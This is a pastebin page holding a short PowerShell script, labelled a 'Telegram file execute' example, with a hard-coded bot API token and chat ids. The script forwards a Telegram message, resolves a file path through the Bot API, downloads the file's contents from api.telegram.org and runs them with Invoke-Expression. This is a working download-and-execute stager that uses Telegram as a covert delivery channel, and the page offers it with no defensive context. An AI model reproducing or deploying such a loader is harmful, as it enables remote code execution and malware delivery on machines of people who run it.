[text] PowerShell Telegram Downloading File Example

Viewer

copydownloadembedprintName: PowerShell Telegram Downloading File Example
  1.  
  2. # PowerShell: Telegram file execute
  3. # By Alexei Smirnov, 2021
  4.  
  5. $cif = '-1001239785765' # from chat id
  6. $cit = '-1001206309661' # to chat id
  7. $msg = '7' # file message id
  8. $bot = 'bot1725697663:AAGM2eVeBYAo0zcVa03ZKCGunkHOFsUoIIQ/' # bot api token
  9.  
  10. # initiate web client
  11. $url = 'https://api.telegram.org/'
  12. $web = New-Object Net.WebClient
  13. $web.Encoding = [System.Text.Encoding]::UTF8
  14. $web.Headers.Add('Content-Type: application/x-www-form-urlencoded')
  15.  
  16. # get file id
  17. $str = $web.DownloadString($url+$bot+'forwardMessage?from_chat_id='+$cif+'&chat_id='+$cit+'&message_id='+$msg)
  18. $str = (($str -split ',"text":"')[1] -split '"}')[0]
  19.  
  20. # get file path
  21. $str = $web.DownloadString($url+$bot+'getFile?file_id='+$str)
  22. $str = (($str -split 'path":"')[1] -split '"')[0]
  23.  
  24. # download file
  25. $str = $web.DownloadString($url+'file/'+$bot+$str)
  26.  
  27. # execute it
  28. Invoke-Expression $str
  29.  
  30.  
  31.  

Editor

You can edit this paste and save as new:


File Description
  • PowerShell Telegram Downloading File Example
  • Paste Code
  • 06 May-2021
  • 893 Bytes
You can Share it: